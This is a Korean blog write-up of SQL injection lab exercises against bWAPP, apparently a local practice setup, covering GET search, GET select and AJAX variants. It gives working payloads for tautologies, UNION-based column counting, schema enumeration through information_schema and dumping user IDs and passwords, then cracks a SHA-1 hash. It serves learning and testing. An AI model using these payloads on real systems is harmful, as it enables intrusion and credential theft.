모의해킹

SQL Injection

editor9386 2025. 1. 24. 00:42

SQL Injection

SQL 인젝션이란 인젝션 공격중에 SQL DB 사용중에 SQL쿼리를 오염시켜 데이터베이스와 상호 작용할 수 있는 공격 방법이다. 이 공격으로 DB에서 민감한 정보를 수집하거나 수정, 삭제 까지 가능할 수 있다.

 

 

 

SQL Injection (GET/Search)

search 를 누르면 DB에있는 영화 정보들이 나타난다.

 

아마 입력창에 원하는 영화를 입력하면

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%'

이런 구조로 작동 할 것이다 그러면  ' 혹은 "를 입력해보자

 

 

 

 

큰 따옴표 " 를 입력했을 경우

 

작은 따옴표를 입력했을때 SQL 문법오류가 나오는 것을 확인할 수 있다. 

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%'; 형식에 대입해보면

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %'; 으로 나오는데  

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %';      %' 이부분이 SQL DB 오류로 인식 되어 문법 오류가 발생하며

 

"를 입력했을경우

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '% " % ';   문법적 오류가 나지않고 %"% 를 문자열로 취급하여 

SQL DB에서 %"% 를 검색하는 것과 같은 효과를 받는다. 

 

따라서 작은 따옴표를 입력해야 SQL 취약점이 생긴다는 소리다.

 

 

 

 

위에서 SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %';  빨간부분 때문에 오류가 났기 때문에 뒷부분을 주석처리하여 처리하면

 

SELECT * 테이블명 WHERE 컬럼명 LIKE '% ' or 1=1% '; << 무조건 참값이 나오므면서 오류가 없으므로 모든 내역이 출력

 

'union select 1# 을 입력하면 위와같이 컬럼수가 달라서 사용할 수 없다고 오류가 나타난다. 

 

UNION 은 SQL 문법중에 하나로 

두개의 SELECT 구문을 연속적으로 출력하는 문법인데 두 개의 컬럼이 같아야 올바르게 작동한다.

 

따라서 지금 웹에서 사용하고 있을거라고 예측한 

SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%';  과

SELECT 1을 합치려고 하는데 컬럼의수가 다르다는 뜻이다. 때문에 컬럼의 수를 늘려보면 

 

'union select 1,2,3,4,5,6,7# 를 입력 했을때 (컬럼의 수가 7일 때) 내가 쓴 문법이 제대로 작동되는 것을 볼 수 있다.

--> 웹에서 쓰는 DB의 컬럼의 수는 총 7개라는 뜻

 

빨간 부분이 웹에서 출력한 SELECT고 파란부분이 내가 입력한 SELECT 1,2,3,...7# 이다.

 

타이틀 열에 2번이 나오고 Relase열에 3번이고 Character 5 번이 나오고 Grnre열에 4가 나오는것을 보면

출력되는 열이(중요한 내용) 2,3,5,4 인걸 알 수 있다.

 

' union select all 1,@@version,database(),user(),@@datadir,6,7 #

 

 

이렇게 명령을 치면 출력값이 보이는 열에서 DB 버전이나 유저 네임등 여러 정보를 볼 수 있다

 

 

 

그리고 SQL DB에는  information_schema 라는 메타 DB 가 존재하는데 이는 DB내의 모든 테이블에 대한 정보를 모아놓은 DB이다.

 

따라서 ' union select 1,table_name,3,4,5,6,7 from information_schema.tables # 라고 입력하면

 

 

* information_schema.tables : 데이터베이스 내의 모든 테이블에 대한 정보를 얻을 수 있다

 

 

그림과 같이 웹의 SQL DB에 있는 모든 테이블들을 볼 수 있다.

 

user 테이블의 내용이 보고 싶으면 

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

(information_schema.columns 에서 테이블 아이디가 user일때 그 테이블의 컬럼네임들) 을 입력한다

 

* information_schema.columns : 데이터베이스 내의 모든 열에 대한 정보를 얻을 수 있다.

 

.

'union select 1,id,login,password,5,6,7 from users # 로

중요한 정보 같은 컬럼을 열어보면

이렇게 ID 비밀번호 등 DB내 모든 정보를 탈취 할 수 있다.


삭제도 가능할 것 같은데 실습을 위해 남겨두자.

++++++++

비밀번호가  7110eda4d09e062aa5e4a390b0a572ac0d2c0220 이런식으로 복잡한 숫자와 영어로 되어있는데 암호화 되어 있는 것 같다. 

이 암호를 해제하기 위해서 칼리에 가서 

hash-identifier 실행

 

암호화 된 값을 입력해주면

 

 

sha1 알고리즘으로 암호화 된것 같다. 똑같이 sha1으로 디코딩 해주자자(디코딩 사이트는 인터넷에 많음)

 

정답

 

 

 

 

 

 

 

SQL Injection (GET/Select)

 

 

선택 박스에서 영화를 선택하는 것에 따라 URL의 movie 값이 변하는 것을 확인

ex) iron man 선택 --> movie 2  / world War Z 선택 --> movie 10

 

위에 get에서는 입력받는 변수가 문자형(' 으로 갇히니까 ')이여서 '를 써서 취약점을 만들었지만 입력받는 변수가 정수형이면 '을 입력하지 않아도된다. --> or 1=1 으로 입력해야한다.

 

http://192.168.111.132/bWAPP/sqli_2.php?movie=1%20or%201=1&action=go입력하면

 

무조건 참 이므로 movie 값에 관계 없이 G.i 조가 검색이 된다. 

 

위에 search 에서 했던 것처럼 입력하면 똑같이 출력될수 있다.

http://192.168.111.132/bWAPP/sqli_2.php?movie=1%20union%20select%20all%201,%20concat(id,login),password,email,secret,6,7%20from%20users%20limit%201,1#&action=go

 

 

 

++++++++++

or 1=1 이면 movie 값이 무엇이든 g.i 조만 출력 되었는데 limit 함수로 출력되는 것을 1번째 행만 출력 되게 하였을 수도 있다.

 

or 1=1 limit 2,1 # 를 입력해보면 

 

내가 원하는 영화의 정보가 나오게 된다.

 

 

 

SQL Injection (AJAX/JSON/jQuery)

위의 sql과 취약점 부분은 같다

다만 AJAX는 비동기식 웹 페이지 업데이트 기술로 페이지를 새로고침 하지 않아도 데이터를 주고 받아

빠른 상호작용이 가능해서 입력하고 go 를 누르지 않아도 결과 값이 출력되는 방식이다.

 

JSON 은 비동기식 이런게 아니라 데이터를 교환 하는 형식

jQuery JavaScript 라이브러리로, 복잡한 JavaScript 코드를 간단하게 작성할 수 있게 도와줍니다. 특히, AJAX 요청을 더 간단하게 작성할 수 있게 해준다.

 

'모의해킹' 카테고리의 다른 글

SQL injection - blind (Boolean-Based)  (0) 2025.02.12
XSS - Stored (Blog)  (0) 2025.02.12
PHP Code Injection  (0) 2025.01.23
Server-Side Includes (SSI) Injection  (0) 2025.01.21
OS Command Injection  (0) 2025.01.21